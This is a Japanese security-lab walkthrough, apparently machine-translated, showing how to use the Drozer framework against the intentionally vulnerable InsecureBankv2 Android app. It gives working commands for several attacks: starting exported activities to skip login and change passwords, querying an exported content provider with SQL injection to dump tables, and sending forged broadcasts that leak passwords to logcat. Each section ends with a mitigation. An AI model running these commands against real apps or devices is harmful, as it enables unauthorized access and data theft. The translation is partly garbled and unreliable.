Drozer脆弱性分析


ドラッグ&ドロップフレームの既定のコマンドを決定するには


list


Drozerで使用可能なモジュールのリストを選択できます.
app.activity.forintent                   Find activities that can handle the given intent                                                                                                    
app.activity.info                        Gets information about exported activities.                                                                                                         
app.activity.start                       Start an Activity                                                                                                                                   
app.broadcast.info                       Get information about broadcast receivers                                                                                                           
app.broadcast.send                       Send broadcast using an intent                                                                                                                      
app.broadcast.sniff                      Register a broadcast receiver that can sniff particular intents                                                                                     
app.package.attacksurface                Get attack surface of package                                                                                                                       
app.package.backup                       Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)                                                                          
app.package.debuggable                   Find debuggable packages                                                                                                                            
app.package.info                         Get information about installed packages                                                                                                            
app.package.launchintent                 Get launch intent of package                                                                                                                        
app.package.list                         List Packages                                                                                                                                       
app.package.manifest                     Get AndroidManifest.xml of package                                                                                                                  
app.package.native                       Find Native libraries embedded in the application.                                                                                                  
app.package.shareduid                    Look for packages with shared UIDs                                                                                                                  
app.provider.columns                     List columns in content provider                                                                                                                    
app.provider.delete                      Delete from a content provider                                                                                                                      
app.provider.download                    Download a file from a content provider that supports files                                                                                         
app.provider.finduri                     Find referenced content URIs in a package                                                                                                           
app.provider.info                        Get information about exported content providers                                                                                                    
app.provider.insert                      Insert into a Content Provider                                                                                                                      
app.provider.query                       Query a content provider                                                                                                                            
app.provider.read                        Read from a content provider that supports files                                                                                                    
app.provider.update                      Update a record in a content provider                                                                                                               
app.service.info                         Get information about exported services                                                                                                             
app.service.send                         Send a Message to a service, and display the reply                                                                                                  
app.service.start                        Start Service                                                                                                                                       
app.service.stop                         Stop Service                                                                                                                                        
auxiliary.webcontentresolver             Start a web service interface to content providers.                                                                                                 
exploit.jdwp.check                       Open @jdwp-control and see which apps connect                                                                                                       
exploit.pilfer.general.apnprovider       Reads APN content provider                                                                                                                          
exploit.pilfer.general.settingsprovider  Reads Settings content provider                                                                                                                     
information.datetime                     Print Date/Time                                                                                                                                     
information.deviceinfo                   Get verbose device information                                                                                                                      
information.permissions                  Get a list of all permissions used by packages on the device                                                                                        
scanner.activity.browsable               Get all BROWSABLE activities that can be invoked from the web browser                                                                               
scanner.misc.native                      Find native components included in packages                                                                                                         
scanner.misc.readablefiles               Find world-readable files in the given folder                                                                                                       
scanner.misc.secretcodes                 Search for secret codes that can be used from the dialer                                                                                            
scanner.misc.sflagbinaries               Find suid/sgid binaries in the given folder (default is /system).                                                                                   
scanner.misc.writablefiles               Find world-writable files in the given folder                                                                                                       
scanner.provider.finduris                Search for content providers that can be queried from our context.                                                                                  
scanner.provider.injection               Test content providers for SQL injection vulnerabilities.                                                                                           
scanner.provider.sqltables               Find tables accessible through SQL injection vulnerabilities.                                                                                       
scanner.provider.traversal               Test content providers for basic directory traversal vulnerabilities.                                                                               
shell.exec                               Execute a single Linux command.                                                                                                                     
shell.send                               Send an ASH shell to a remote listener.                                                                                                             
shell.start                              Enter into an interactive Linux shell.                                                                                                              
tools.file.download                      Download a File                                                                                                                                     
tools.file.md5sum                        Get md5 Checksum of file                                                                                                                            
tools.file.size                          Get size of file                                                                                                                                    
tools.file.upload                        Upload a File                                                                                                                                       
tools.setup.busybox                      Install Busybox.                                                                                                                                    
tools.setup.minimalsu                    Prepare 'minimal-su' binary installation on the device.
list.package→パッケージに関する情報を見つけることができます.
dz> list.package
app.package.attacksurface  Get attack surface of package                                                                                                                                     
app.package.backup         Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)                                                                                        
app.package.debuggable     Find debuggable packages                                                                                                                                          
app.package.info           Get information about installed packages                                                                                                                          
app.package.launchintent   Get launch intent of package                                                                                                                                      
app.package.list           List Packages                                                                                                                                                     
app.package.manifest       Get AndroidManifest.xml of package                                                                                                                                
app.package.native         Find Native libraries embedded in the application.                                                                                                                
app.package.shareduid      Look for packages with shared UIDs
list.activity→活動関連情報
dz> list activity
app.activity.forintent      Find activities that can handle the given intent                                                                                                                 
app.activity.info           Gets information about exported activities.                                                                                                                      
app.activity.start          Start an Activity                                                                                                                                                
scanner.activity.browsable  Get all BROWSABLE activities that can be invoked from the web browser
run→実行コマンドrun app package.list→インストールされているパッケージのリストを表示run app.package.list -f [찾는대상]→特定の単語でインストールされているパッケージをチェックrun app.package.list -f insecure → com.android.insecurebankv2(InsecureBankv2)
run [app.package.info](http://app.package.info) -a <package-name>→出力パケットの情報run app.package.attacksurface com.android.insecurebankv2
≪エクスポート|Export|emdw≫:本物の攻撃ポイントを見つけます.

認証メカニズムの弱い一環の活動暴露の弱い一環の分析


脆弱な認証メカニズム


  • 通常の認証プロセスを迂回して不正な方法で認証権限を取得

  • OWASP Mobile Top 10 2014—m5.

  • 不適切なappperタスクが設定されているかどうか

  • サービス権限の上昇動作の制御

  • 機能制限または迂回禁止

  • 不要または使用しないアクティブデバイスの削除

  • コンテンツ使用の信頼性

  • プライマリ・キー・ホール対応性
  • run app.activity.info→すべてのアプリケーションのアクティビティ情報を出力します.run [app.activity.info](http://app.activity.info) --info [관련이름]→関連名に関連付けられたアクティブなリストを出力します.

    ログインせずに認証をバイパス

  • adbを使用して認証後に実行されるアクティビティを強制する
  • exported属性がtrueの場合実行可能
  • run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin

    ログインしていない状態で、上にコマンドを入力するとそのままログイン状態に入ります.
    run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword
    PostLogin画面からChange Password Activityに移動できます.run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
    idセクションにjackを入力できます.以下に示します.

    パスワード1 Q 2 w 3 e 4 r!@に設定し、「Change Password」ボタンをクリックします.


    パスワードが変更され、logcatはレコードを表示できます.

    その後変更したパスワードは再度ログインできます.

    adb


    amコマンドでdrozerと同じ機能を使用できます.am start com.android.insecurebankv2/com.android.insecurebankv2.PostLoginパラメータの伝達は少し難しいです

    対応策


    重要な部分ではandroid:exported=「false」

    弱いコンテンツプロバイダの分析

  • Content Providerは、他のアプリケーションにデータベースまたはファイルにアクセスするインタフェースを提供します.
  • コンテンツジェネレータ
  • にアクセスするにはURIとContentResolverが必要です.
  • アプリケーションはContentResolverを使用してコンテンツジェネレータにアクセスし、URIを使用します.
  • Content Providerが外部に露出している場合は、外部にアクセスしてデータを表示または変更できます.
  • コンテンツジェネレータの確認

  • アプリケーションのコンテンツプロバイダはmanifestです.xmlで定義します.
  • Content ProviderアドレスURIのフォーマットはcontent://authority/pathと同じです.
  • Authorityはコンテンツプロバイダのアドレスを表し、pathはデータ位置の情報を表す.→プロバイダクラス名(android:name):contentProviderを実装するクラス→権限(android:authorities):システム内でプロバイダ全体を識別するフラグ名→起動と制御特性(android:exported):trueに設定すると外部に露出し、他のアプリケーションではプロバイダを使用できます.
  • <provider
    	android:name=".TrackUserContentProvider"
    	android:authorities="com.android.insecurebankv2.TrackUserContentProvider"
    	android:exported="true" >
    </provider>
    Android:exported=「true」→それを知る

    脆弱性を確認する

  • Content ProviderデータにアクセスするにはURIが必要→Content://コンテンツURIとして識別→user dictionaryプロバイダの権限→wordsテーブルのパスcontent://user_dictionary/words
  • 復号後に「content://」を含むアイテム→TrackUserContentProviderを検索し、Incire BankのURIを表示します.smariファイルで「content://」→content://com.android.insecurebankv2.TrackUserContentProvider/trackusers
  • content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
    DB pullが情報を表示できるように.

    Drozerを利用

    run [app.provider.info](http://app.provider.info) -a com.android.insecurebankv2
    provider情報は、次のように取得できます.run scanner.provider.finduris -a com.android.insecurebankv2
    アクセス可能なcontent uriを取得できます.run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
  • drozerは、コンテンツブラウザによるSQL Injection攻撃を許可します.
  • ローカルストレージのDBを利用
  • SQLI攻撃性の確認-投影オプションの後に象限(")を挿入します.
  • 照会文:SELECT FROM…
  • エラーメッセージが出力されました.メッセージには、データをクエリーするためのクエリーの一部が含まれています
  • SQLIの例

    dz> run app.provider.query [uri] --projection [columns [...]]ex ) dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "'"
    エラーベースSQLIの検証
  • drozerコンテンツモニタによるSQLI攻撃
  • データベース内のテーブルリストの表示
  • "* from SQLITE_MASTER where type=’table’;--"構文チェックシートの追加
  • URI確認確認確認確認済namesコラム
  • run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from SQLITE_MASTER where type='table';--"
  • drozerコンテンツブラウザによるSQLI攻撃
  • デバイスに含まれるテーブルのnamesテーブル出力
  • " * from names;--"構文出力namesテーブルを追加
  • URI出力結果と出力結果が一致
  • Insert、deleteなどの送信可能なクエリー
  • run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from names;--"

    対応策

  • manifest.xmlに宣言されたandroid:エクスポート属性をfalse
  • に設定
  • false外部の影響を受けない
  • False強制要求コンテンツ構成時出力「権限Denial」メッセージ
  • 脆弱なブロードキャストトランシーバ

  • ブロードキャストトランシーバは、デバイスから送信されたイベント信号の受信および処理を担当する
  • アプリケーションのブロードキャストトランシーバから信号を受信し、指定されたタスクを実行
  • Androidmainfest.xmlのエントリで定義
  • 攻撃者は任意の放送信号を生成し、ユーザが受信した通知(メッセージ、電話など)を遮断したり、特定の状況で発生した操作を迂回したりすることができる.
  • ブロードキャストトランシーバ検査

  • Androidmanifest.xmlで宣言されたブロードキャストトランシーバ→ブロードキャストトランシーバクラスを確認します.MyBroadCastReceiver→ブロードキャスト名:Broadcast→android:exported:外部アプリケーションからintentを受信可能
  • <receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver"
    android:exported="true">
    	<intent-filter>
    		<action android:name="theBroadcast"/>
    </receiver>
  • 定義済みMyBroadCastReceiverメソッド(MyBroadCastReceiver.class)
  • パスワード更新を通知するためにSMSを送信
  • ブロードキャストの作成

  • ADB生成パラメータ付きブロードキャスト
  • パラメータ付き正常処理(-eオプション)
  • Logcat以前に使用したパスワードが平文に露出していることを確認
  • am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver -e phonenumber 5555 -e newpass test
    01-14 15:00:24.128  4434  4434 I System.out: For the changepassword - phonenumber: 5555 password is: Updated Password from: 1Q2w3e4r!@ to: test
    01-14 15:00:24.134  4519  4519 D AndroidRuntime: Shutting down VM

    パスワード情報の露出:

    ブロードキャストの作成

    run [app.broadcast.info](http://app.broadcast.info/) -a com.android.insecurebankv2 run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 12345 --extra string newpass test
    同様に、logcatはパスワード情報を暴露します.